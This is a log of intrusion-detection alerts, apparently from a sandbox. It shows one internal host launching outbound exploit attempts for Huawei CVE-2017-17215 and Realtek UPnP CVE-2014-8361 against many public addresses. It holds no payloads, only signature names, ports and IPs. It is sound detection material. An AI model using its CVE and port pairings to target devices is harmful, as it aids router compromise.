Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 106.69.59.16

Timestamp:	07/20/24-23:10:43.092313
SID:	2027339
Source Port:	37538
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 86.176.66.84

Timestamp:	07/20/24-23:10:56.030930
SID:	2829579
Source Port:	58026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.4.242.187

Timestamp:	07/20/24-23:10:59.046417
SID:	2835222
Source Port:	50002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.70.215.60

Timestamp:	07/20/24-23:10:46.726397
SID:	2829579
Source Port:	33804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.70.127.226

Timestamp:	07/20/24-23:11:06.688603
SID:	2829579
Source Port:	41732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.27.64.243

Timestamp:	07/20/24-23:10:41.241455
SID:	2829579
Source Port:	33158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 74.70.192.12

Timestamp:	07/20/24-23:10:49.395188
SID:	2835222
Source Port:	58758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 196.4.129.234

Timestamp:	07/20/24-23:10:41.230206
SID:	2835222
Source Port:	53678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 182.92.42.223

Timestamp:	07/20/24-23:10:39.479939
SID:	2835222
Source Port:	54602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 162.144.96.77

Timestamp:	07/20/24-23:10:42.641904
SID:	2027339
Source Port:	33360
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.118.190.74

Timestamp:	07/20/24-23:10:46.724339
SID:	2829579
Source Port:	49414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.133.143.135

Timestamp:	07/20/24-23:10:46.756934
SID:	2829579
Source Port:	36804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.129.166.243

Timestamp:	07/20/24-23:11:03.396635
SID:	2829579
Source Port:	45724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.109.236.216

Timestamp:	07/20/24-23:11:03.343633
SID:	2829579
Source Port:	43170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.229.104.117

Timestamp:	07/20/24-23:10:49.420934
SID:	2829579
Source Port:	48458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.245.203.100

Timestamp:	07/20/24-23:10:55.995070
SID:	2835222
Source Port:	53062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 63.181.216.41

Timestamp:	07/20/24-23:10:51.969301
SID:	2027339
Source Port:	51708
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.200.205.87

Timestamp:	07/20/24-23:10:49.360961
SID:	2829579
Source Port:	36816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 163.51.19.31

Timestamp:	07/20/24-23:10:48.433861
SID:	2025132
Source Port:	54984
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.238.7.131

Timestamp:	07/20/24-23:10:52.521111
SID:	2829579
Source Port:	59510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.225.109.57

Timestamp:	07/20/24-23:10:42.273908
SID:	2835222
Source Port:	33180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.204.120.208

Timestamp:	07/20/24-23:10:39.474284
SID:	2835222
Source Port:	43916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.83.39.11

Timestamp:	07/20/24-23:11:03.352491
SID:	2835222
Source Port:	54974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 111.75.183.223

Timestamp:	07/20/24-23:10:51.926807
SID:	2831300
Source Port:	38284
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 114.103.82.126

Timestamp:	07/20/24-23:10:52.045718
SID:	2027339
Source Port:	49162
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.81.78.42

Timestamp:	07/20/24-23:10:41.233111
SID:	2835222
Source Port:	34170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 86.108.11.155

Timestamp:	07/20/24-23:10:45.176876
SID:	2025132
Source Port:	60190
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 184.48.192.179

Timestamp:	07/20/24-23:10:56.021160
SID:	2829579
Source Port:	51470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.62.82.205

Timestamp:	07/20/24-23:10:41.248342
SID:	2835222
Source Port:	54130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.156.4.216

Timestamp:	07/20/24-23:10:46.817180
SID:	2835222
Source Port:	49752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 129.202.137.125

Timestamp:	07/20/24-23:10:47.433416
SID:	2025132
Source Port:	34784
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.108.205.183

Timestamp:	07/20/24-23:10:41.232384
SID:	2829579
Source Port:	50676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.189.197.226

Timestamp:	07/20/24-23:11:03.402557
SID:	2829579
Source Port:	42978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.55.118.235

Timestamp:	07/20/24-23:10:42.248264
SID:	2829579
Source Port:	39340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 144.224.217.126

Timestamp:	07/20/24-23:10:43.379931
SID:	2025132
Source Port:	37236
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.230.83.224

Timestamp:	07/20/24-23:10:41.233111
SID:	2835222
Source Port:	36898
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.61.178.128

Timestamp:	07/20/24-23:11:03.381593
SID:	2835222
Source Port:	45936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 18.208.103.195

Timestamp:	07/20/24-23:10:44.084674
SID:	2027339
Source Port:	38512
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 159.7.254.101

Timestamp:	07/20/24-23:10:52.006529
SID:	2027339
Source Port:	34392
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 108.128.208.18

Timestamp:	07/20/24-23:10:42.630026
SID:	2027339
Source Port:	40126
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 155.193.235.193

Timestamp:	07/20/24-23:10:46.817180
SID:	2835222
Source Port:	38080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 96.224.29.242

Timestamp:	07/20/24-23:10:40.148951
SID:	2025132
Source Port:	47828
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 88.192.240.239

Timestamp:	07/20/24-23:10:47.630051
SID:	2025132
Source Port:	42844
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.37.199.77

Timestamp:	07/20/24-23:10:41.224086
SID:	2829579
Source Port:	58384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 186.51.119.156

Timestamp:	07/20/24-23:10:52.551688
SID:	2835222
Source Port:	43920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 190.250.16.69

Timestamp:	07/20/24-23:10:46.817180
SID:	2829579
Source Port:	54220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.242.40.170

Timestamp:	07/20/24-23:10:41.233111
SID:	2829579
Source Port:	41686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.151.57.99

Timestamp:	07/20/24-23:10:52.538168
SID:	2835222
Source Port:	51118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.139.160.21

Timestamp:	07/20/24-23:10:46.865461
SID:	2829579
Source Port:	33564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.230.203.208

Timestamp:	07/20/24-23:10:49.450306
SID:	2835222
Source Port:	39042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 59.219.66.240

Timestamp:	07/20/24-23:11:03.339788
SID:	2829579
Source Port:	50838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 119.185.234.171

Timestamp:	07/20/24-23:10:47.596350
SID:	2025132
Source Port:	32838
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 155.240.87.154

Timestamp:	07/20/24-23:10:52.955677
SID:	2831300
Source Port:	40792
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 45.153.62.62

Timestamp:	07/20/24-23:10:51.925000
SID:	2027339
Source Port:	51656
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 140.169.88.3

Timestamp:	07/20/24-23:10:51.969301
SID:	2831300
Source Port:	55782
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 172.248.193.236

Timestamp:	07/20/24-23:10:43.945120
SID:	2025132
Source Port:	55656
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 35.212.114.203

Timestamp:	07/20/24-23:10:45.553102
SID:	2025132
Source Port:	50882
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 166.169.25.66

Timestamp:	07/20/24-23:10:43.225634
SID:	2027339
Source Port:	46284
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.182.237.139

Timestamp:	07/20/24-23:10:40.658204
SID:	2829579
Source Port:	43890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.10.63.167

Timestamp:	07/20/24-23:10:59.029815
SID:	2835222
Source Port:	47198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.143.130.166

Timestamp:	07/20/24-23:10:56.016286
SID:	2835222
Source Port:	34812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 4.210.183.193

Timestamp:	07/20/24-23:10:51.920409
SID:	2831300
Source Port:	36264
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 109.51.3.47

Timestamp:	07/20/24-23:10:42.640980
SID:	2027339
Source Port:	49072
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.197.252.182

Timestamp:	07/20/24-23:10:41.221769
SID:	2835222
Source Port:	44340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 12.15.153.124

Timestamp:	07/20/24-23:10:43.899907
SID:	2025132
Source Port:	60860
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 112.250.31.72

Timestamp:	07/20/24-23:10:44.605211
SID:	2025132
Source Port:	45208
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.235.67.69

Timestamp:	07/20/24-23:10:59.055793
SID:	2829579
Source Port:	57220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 99.157.121.60

Timestamp:	07/20/24-23:11:03.394674
SID:	2835222
Source Port:	48048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.251.184.233

Timestamp:	07/20/24-23:10:41.227410
SID:	2829579
Source Port:	43682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 58.115.50.235

Timestamp:	07/20/24-23:10:46.666447
SID:	2025132
Source Port:	48046
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 148.178.43.17

Timestamp:	07/20/24-23:10:52.008043
SID:	2027339
Source Port:	43144
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.77.128.68

Timestamp:	07/20/24-23:10:42.263488
SID:	2829579
Source Port:	39232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 114.147.236.150

Timestamp:	07/20/24-23:10:42.619459
SID:	2027339
Source Port:	48840
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.74.114.232

Timestamp:	07/20/24-23:10:46.829468
SID:	2829579
Source Port:	52954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 217.58.36.234

Timestamp:	07/20/24-23:10:39.584903
SID:	2025132
Source Port:	38600
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 143.46.197.220

Timestamp:	07/20/24-23:10:44.680447
SID:	2027339
Source Port:	46452
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 23.255.13.10

Timestamp:	07/20/24-23:10:51.970585
SID:	2831300
Source Port:	47458
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.241.6.192

Timestamp:	07/20/24-23:10:39.488246
SID:	2829579
Source Port:	34532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 178.153.143.199

Timestamp:	07/20/24-23:10:40.217788
SID:	2025132
Source Port:	33992
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 217.115.151.81

Timestamp:	07/20/24-23:10:42.622797
SID:	2027339
Source Port:	41408
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 100.180.255.242

Timestamp:	07/20/24-23:10:43.579377
SID:	2025132
Source Port:	45970
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.70.215.60

Timestamp:	07/20/24-23:10:46.726397
SID:	2835222
Source Port:	33804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 223.213.191.10

Timestamp:	07/20/24-23:10:45.392566
SID:	2027339
Source Port:	34380
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.105.219.240

Timestamp:	07/20/24-23:10:39.462416
SID:	2829579
Source Port:	45002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.202.58.82

Timestamp:	07/20/24-23:10:59.004938
SID:	2835222
Source Port:	57470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 169.212.197.47

Timestamp:	07/20/24-23:11:06.680204
SID:	2829579
Source Port:	59684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.101.41.79

Timestamp:	07/20/24-23:10:46.711367
SID:	2835222
Source Port:	54440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 196.217.9.9

Timestamp:	07/20/24-23:10:51.926807
SID:	2027339
Source Port:	39004
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 188.23.31.199

Timestamp:	07/20/24-23:11:03.378926
SID:	2835222
Source Port:	34600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.241.133.198

Timestamp:	07/20/24-23:10:59.326324
SID:	2829579
Source Port:	33730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 87.147.33.140

Timestamp:	07/20/24-23:10:51.900424
SID:	2831300
Source Port:	51464
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 130.31.106.211

Timestamp:	07/20/24-23:10:44.363105
SID:	2025132
Source Port:	47876
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 169.30.6.222

Timestamp:	07/20/24-23:10:47.807651
SID:	2025132
Source Port:	43170
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 48.66.205.87

Timestamp:	07/20/24-23:10:52.361937
SID:	2025132
Source Port:	59244
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.149.117.12

Timestamp:	07/20/24-23:10:42.266162
SID:	2829579
Source Port:	39510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 171.218.135.148

Timestamp:	07/20/24-23:10:51.955739
SID:	2027339
Source Port:	34804
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.237.212.167

Timestamp:	07/20/24-23:10:52.549473
SID:	2829579
Source Port:	33364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.231.228.120

Timestamp:	07/20/24-23:10:40.608330
SID:	2829579
Source Port:	33364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.16.25.243

Timestamp:	07/20/24-23:11:06.686627
SID:	2835222
Source Port:	37834
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 74.125.66.82

Timestamp:	07/20/24-23:10:47.742820
SID:	2025132
Source Port:	37346
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.124.145.235

Timestamp:	07/20/24-23:11:06.688603
SID:	2829579
Source Port:	47108
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

